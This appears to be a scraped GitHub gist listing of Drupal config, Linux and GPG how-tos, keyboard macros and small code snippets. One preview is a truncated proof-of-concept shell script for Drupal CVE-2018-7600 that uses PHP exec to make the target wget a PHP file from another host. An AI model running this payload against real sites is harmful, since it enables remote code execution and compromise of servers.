Skip to content

Instantly share code, notes, and snippets.

View Niklan's full-sized avatar
🍵
Working from home

Nikita Malyshev Niklan

🍵
Working from home
View GitHub Profile
@mglaman
mglaman / phpunit.xml
Last active June 15, 2023 13:38
My Drupal project phpunit.xml configuration
<?xml version="1.0" encoding="UTF-8"?>
<!-- TODO set checkForUnintentionallyCoveredCode="true" once https://www.drupal.org/node/2626832 is resolved. -->
<!-- PHPUnit expects functional tests to be run with either a privileged user
or your current system user. See core/tests/README.md and
https://www.drupal.org/node/2116263 for details.
-->
<phpunit bootstrap="web/core/tests/bootstrap.php" colors="true"
beStrictAboutTestsThatDoNotTestAnything="true"
beStrictAboutOutputDuringTests="true"
<?php
/**
* @file
* Backup tasks for Deployer.
*/
namespace Deployer;
/**
@rumansaleem
rumansaleem / clean-up-arch-linux.md
Created May 28, 2019 08:51
Instructions to clean up Arch Linux (Manjaro)

Contents

  • Clean pkg cache
  • Remove unused packages (orphans)
  • Clean cache in /home
  • remove old config files
  • Find and Remove
    • duplicates
    • empty files
    • empty directories
  • broken symlinks
@krisleech
krisleech / renew-gpgkey.md
Last active May 5, 2024 10:26
Renew Expired GPG key

Renew GPG key

Given that your key has expired.

$ gpg --list-keys
$ gpg --edit-key KEYID

Use the expire command to set a new expire date:

@AlbinoDrought
AlbinoDrought / exploit.sh
Created April 12, 2018 17:18
Drupal CVE-2018-7600 PoC
#!/bin/sh
# https://github.com/a2u/CVE-2018-7600/issues/2
HOST="http://drupal.docker.localhost:8000"
PHP_FUNCTION="exec"
PHP_ARG="wget http://172.16.30.108:6969/foob.php"
curl -X POST \
"$HOST/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax" \
-F form_id=user_register_form \
@mortenson
mortenson / library_renderer.php
Last active March 27, 2018 06:31
Get the HTML of arbitrary Drupal libraries
<?php
$libraries = ['core/jquery'];
// In this example I'm just concerned about JS assets, but you can use other
// services to render other assets.
/** @var \Drupal\Core\Asset\AssetResolver $asset_resolver */
$asset_resolver = \Drupal::service('asset.resolver');
/** @var \Drupal\Core\Asset\JsCollectionRenderer $js_renderer */
@schmich
schmich / ducky.md
Last active April 5, 2024 14:20
Programming media keys on the Ducky One 2 Skyline

Programming Media Keys on the Ducky One 2 Skyline

To use media keys on the Ducky One 2 Skyline, you must record a macro to bind the media function to a hotkey combination, i.e. Fn plus some key.

Example

Important: In the instructions below, "Press X+Y+Z" means press and hold key X, press and hold key Y, press and hold key Z in that order, and then release all three.

As an example, to bind Fn+PgUp to the play/pause media function:

function logColor(color, args) {
console.log(`%c ${args.join(' ')}`, `color: ${color}`);
}
const log = {
aliceblue: (...args) => { logColor('aliceblue', args)},
antiquewhite: (...args) => { logColor('antiquewhite', args)},
aqua: (...args) => { logColor('aqua', args)},
aquamarine: (...args) => { logColor('aquamarine', args)},
azure: (...args) => { logColor('azure', args)},
<?php
/**
* This plugin creates a new paragraph entity based on the source.
*
* @MigrateProcessPlugin(
* id = "mds_paragraph"
* )
*/
class ParagraphMigrateProcessor extends ParagraphProcessBase {